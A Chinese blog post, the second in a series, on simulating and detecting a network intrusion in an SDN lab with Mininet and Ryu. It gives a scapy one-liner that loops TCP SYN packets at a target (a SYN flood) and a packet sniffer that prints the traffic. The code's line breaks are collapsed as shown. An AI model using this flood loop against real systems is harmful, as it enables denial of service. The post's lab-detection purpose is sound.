当前位置: 首页 > news >正文

【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】

文章目录

  • 1. 习惯终端
  • 2. 启动攻击
  • 3. 接受攻击
  • 4. 宿主机查看h2机器

1. 习惯终端

上次把ubuntu 22自带的终端玩没了,治好用xterm:
以通过 Alt+F2 然后输入 xterm 尝试打开xterm 。
然后输入这个切换默认的终端:

sudo update-alternatives --config x-terminal-emulator

这之后就可以用Ctrl+Alt+T打开新终端了。

2. 启动攻击

执行Mininet:

sudo python3 simple_topo.py

执行ryu:

ryu-manager simple_switch.py

h1机器执行:

python3.8 -c "
from scapy.all import *
target_ip = '10.0.0.2'
target_port = 80
while True:send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"
python3.8 -c "
from scapy.all import *
target_ip = '192.168.111.102'
target_port = 80
while True:send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"

3. 接受攻击

在之前的代码中,已经捕获到攻击流量并打印。

from scapy.all import *def packet_callback(packet):if packet.haslayer(IP) and packet.haslayer(TCP):src_ip = packet[IP].srcdst_ip = packet[IP].dstsrc_port = packet[TCP].sportdst_port = packet[TCP].dportflags = packet[TCP].flagsprint(f"IP: {src_ip} -> {dst_ip}, TCP Port: {src_port} -> {dst_port}, Flags: {flags}")sniff(iface="h2-eth0", prn=packet_callback, store=0)

4. 宿主机查看h2机器

网桥

在VM中用网桥好像不行,这个方案得想个完全的办法。我解决了再来写。

相关文章:

  • 异常封装类统一后端响应的数据格式
  • iOS 查看runtime源码的几种方法
  • C++程序打开EXCEL2010失败,提示:远程过程调用失败
  • C++ 53 之 继承中同名成员处理
  • 设计通用灵活的LabVIEW自动测试系统
  • Three.js加载压缩的glb/gltf文件
  • 鸿蒙HarmonyOS开发 preferences首选项
  • ARM 汇编 C语言 for循环
  • 【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解
  • 为什么说Python 是胶水语言?
  • C# OpenCvSharp 代数运算-add、scaleAdd、addWeighted、subtract、absdiff、multiply、divide
  • 大型企业IT基础架构和应用运维体系
  • 基于Java的诊所医院管理系统,springboot+html,MySQL数据库,用户+医生+管理员三种身份,完美运行,有一万一千字论文
  • 【DevOps】Logstash详解:高效日志管理与分析工具
  • macOS Sequoia 将 Mac 生产力与智能化提升至全新高度 (macOS 15 ISO、IPSW、PKG 下载)
  • [case10]使用RSQL实现端到端的动态查询
  • 5分钟即可掌握的前端高效利器:JavaScript 策略模式
  • 78. Subsets
  • C# 免费离线人脸识别 2.0 Demo
  • Hibernate最全面试题
  • interface和setter,getter
  • Java知识点总结(JDBC-连接步骤及CRUD)
  • Python_网络编程
  • 规范化安全开发 KOA 手脚架
  • 警报:线上事故之CountDownLatch的威力
  • 如何解决微信端直接跳WAP端
  • 收藏好这篇,别再只说“数据劫持”了
  • 手写双向链表LinkedList的几个常用功能
  • 在GitHub多个账号上使用不同的SSH的配置方法
  • 白色的风信子
  • 【干货分享】dos命令大全
  • 正则表达式-基础知识Review
  • ​LeetCode解法汇总2670. 找出不同元素数目差数组
  • ​一帧图像的Android之旅 :应用的首个绘制请求
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • (转)利用PHP的debug_backtrace函数,实现PHP文件权限管理、动态加载 【反射】...
  • **PHP分步表单提交思路(分页表单提交)
  • .“空心村”成因分析及解决对策122344
  • .dwp和.webpart的区别
  • .equals()到底是什么意思?
  • .NET Core6.0 MVC+layui+SqlSugar 简单增删改查
  • .NET设计模式(8):适配器模式(Adapter Pattern)
  • .NET中的Exception处理(C#)
  • .set 数据导入matlab,设置变量导入选项 - MATLAB setvaropts - MathWorks 中国
  • /etc/X11/xorg.conf 文件被误改后进不了图形化界面
  • [ C++ ] STL---string类的使用指南
  • [ C++ ] template 模板进阶 (特化,分离编译)
  • [202209]mysql8.0 双主集群搭建 亲测可用
  • [Angular 基础] - 自定义指令,深入学习 directive
  • [Angular] 笔记 16:模板驱动表单 - 选择框与选项
  • [AR Foundation] 人脸检测的流程
  • [BPU部署教程] 教你搞定YOLOV5部署 (版本: 6.2)